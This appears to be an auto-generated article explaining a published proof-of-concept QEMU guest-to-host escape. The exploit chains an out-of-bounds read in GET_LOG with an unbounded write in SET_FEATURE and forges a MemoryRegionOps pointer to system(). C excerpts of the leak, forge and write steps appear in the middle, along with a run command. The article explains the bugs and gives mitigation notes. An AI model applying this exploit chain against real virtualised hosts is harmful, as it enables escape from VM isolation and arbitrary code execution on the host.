How to Escape QEMU CXL Type-3 Mailbox: A Full Exploit Walkthrough
To escape the QEMU CXL Type-3 mailbox, attackers chain an out-of-bounds read in GET_LOG with an unbounded write in SET_FEATURE to forge a malicious device object and execute arbitrary host code.
The bikini/exploitarium repository demonstrates a complete guest-to-host escape targeting QEMU’s implementation of CXL Type-3 devices. By exploiting two distinct vulnerabilities in hw/cxl/cxl-mailbox-utils.c, the proof of concept achieves arbitrary code execution on the hypervisor from within a virtual machine.
Understanding the Vulnerabilities in QEMU’s Mailbox Implementation
QEMU exposes a mailbox interface for CXL Type-3 devices that guests use to issue management commands. The exploit relies on two critical flaws in the mailbox command handlers.
The GET_LOG Out-of-Bounds Read
At hw/cxl/cxl-mailbox-utils.c:1217-1220, the GET_LOG command handler validates offset+length against the size of cel_log, but then uses offset directly as an array index without proper bounds checking. This allows an out-of-bounds memmove from cci->cel_log, leaking host memory contents to the guest.
The SET_FEATURE Rank-Sparing Overflow
At hw/cxl/cxl-mailbox-utils.c:1908-1916, the SET_FEATURE handler for rank sparing writes guest-controlled data to rank_sparing_wr_attrs + hdr->offset without validating the destination size. The code subsequently clears data_size bytes with memset, permitting attackers to overwrite arbitrary memory within the CXL Type-3 device object.
Chaining the Exploit: From Memory Leak to Code Execution
The proof of concept in stage2.c orchestrates a four-stage attack that transforms these memory safety violations into full host compromise.
Leaking Host Pointers with GET_LOG
The leak_rel() function exploits the GET_LOG vulnerability to extract 64-bit host pointers from QEMU’s memory. By issuing CMD_GET_LOG (0x0401) with a crafted offset, the attacker reads past the bounds of cel_log to obtain the QEMU PIE base and the address of the CXLType3Dev structure.
U64 leak_rel(u32 rel)
{
u32 off = GET_LOG_OOB_BASE_OFFSET + (rel >> 2);
payload_write(0, cel_uuid, 16);
w32(MBOX_PAYLOAD + 16, off);
w32(MBOX_PAYLOAD + 20, 8);
mailbox_cmd(CMD_GET_LOG, 24);
return (U64){ r32(MBOX_PAYLOAD), r32(MBOX_PAYLOAD + 4) };
}
Source: stage2.c lines 48-55
Forging a Malicious CXL Object
With the leaked addresses, forge_payload() constructs a counterfeit CXL device structure in a contiguous buffer. The payload includes a fake FlatView, AddressSpaceDispatch, MemoryRegion, and MemoryRegionOps at precise offsets (FAKE_FLATVIEW_OFF at 0x54e, FAKE_MEMORY_REGION_OFF at 0x62e). The MemoryRegionOps.write field is overwritten with a pointer to system() calculated from the leaked libc base.
static void forge_payload(U64 rank_host, U64 fn, U64 opaque,
U64 mr_addr, const char *arg)
{
/* Build FlatView, Dispatch, Section, MemoryRegion, Ops, … */
put64(fake, FAKE_FLATVIEW_OFF + 16, 1);
put64(fake, FAKE_FLATVIEW_OFF + 40, fake_dispatch);
put64(fake, FAKE_OPS_OFF + 8, fn); // fn points to system()
}
Source: stage2.c lines 93-106
Planting the Payload via SET_FEATURE
The send_rank() function uses the vulnerable SET_FEATURE handler to copy the forged object into rank_sparing_wr_attrs. By specifying a feature_off that aligns with the device structure’s memory layout, the attacker overwrites critical pointers in the CXLType3Dev object.
static void send_rank(u16 feature_off, const u8 *data, u32 n)
{
payload_write(0, rank_uuid, 16);
w32(MBOX_PAYLOAD + 16, 1);
w32(MBOX_PAYLOAD + 20, ((u32)1 << 16) | feature_off);
payload_write_zero(24, 8);
payload_write(32, data, n);
mailbox_cmd(CMD_SET_FEAT, 32 + n);
}
Source: stage2.c lines 58-66
Triggering Arbitrary Code Execution
Finally, trigger_media_sanitize() sends a MEDIA_OPERATIONS command (CMD_MEDIA_OP = 0x4402) that causes QEMU to call address_space_set() on the forged MemoryRegion. This dereferences the attacker-controlled MemoryRegionOps structure and invokes system() with attacker-supplied arguments, creating the file /tmp/qemu_cxl_escape_marker as proof of successful escape.
/* Inside trigger_media_sanitize() - issues CMD_MEDIA_OP */
w16(MBOX_PAYLOAD, 0x4402); /* Sanitize operation */
mailbox_cmd(CMD_MEDIA_OP, ...);
Running the Proof of Concept
The repository includes a complete test environment. The boot.asm bootloader loads a 32-bit protected-mode stage from sector 2 of a floppy image, while stage2.c contains the exploit logic. Execute the following to reproduce the escape:
# Run with your QEMU binary path
sh run.sh /usr/local/bin/qemu-system-x86_64
Source: run.sh
The serial console output will show the leaked addresses, the forged object construction, and finally the creation of the marker file on the host filesystem, confirming that the guest has escaped the QEMU sandbox through the CXL Type-3 mailbox interface.
Summary
- Out-of-bounds read: The
GET_LOGhandler athw/cxl/cxl-mailbox-utils.c:1217-1220leaks host pointers by reading pastcel_logbounds. - Arbitrary write: The
SET_FEATUREhandler athw/cxl/cxl-mailbox-utils.c:1908-1916allows writing crafted data to arbitrary offsets within the device object. - Object forgery: The exploit constructs a fake
FlatViewandMemoryRegionstructure with malicious function pointers. - Code execution: Triggering
MEDIA_OPERATIONSforces QEMU to dereference the forged object, executingsystem()with attacker-controlled arguments.
Frequently Asked Questions
What QEMU versions are vulnerable to this CXL mailbox escape?
The vulnerabilities exist in QEMU’s CXL Type-3 mailbox implementation in hw/cxl/cxl-mailbox-utils.c. Any version built with CXL Type-3 support containing the buggy GET_LOG and SET_FEATURE handlers is vulnerable. Consult the QEMU source history for patches addressing bounds checking at lines 1217-1220 and 1908-1916.
Why does the GET_LOG vulnerability allow reading arbitrary host memory?
The handler checks offset+length against the buffer size but fails to validate offset itself before using it as an index into cci->cel_log. This permits negative or large positive offsets that read from memory outside the intended log buffer, leaking QEMU’s PIE base and library addresses to the guest.
How does the fake CXL object achieve code execution?
The forged object includes a fake MemoryRegionOps structure where the write callback pointer is replaced with the address of system(). When the MEDIA_OPERATIONS command triggers an address_space_set() call, QEMU dereferences the attacker-controlled MemoryRegion and executes the callback, passing the guest-supplied string to the host’s shell.
Can this exploit be mitigated without patching QEMU?
Disabling CXL Type-3 device emulation or running QEMU with additional sandboxing (such as seccomp-bpf filters restricting the system() call family) may mitigate impact. However, the only complete remediation is applying source patches that add proper bounds checking to the mailbox command handlers in hw/cxl/cxl-mailbox-utils.c.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →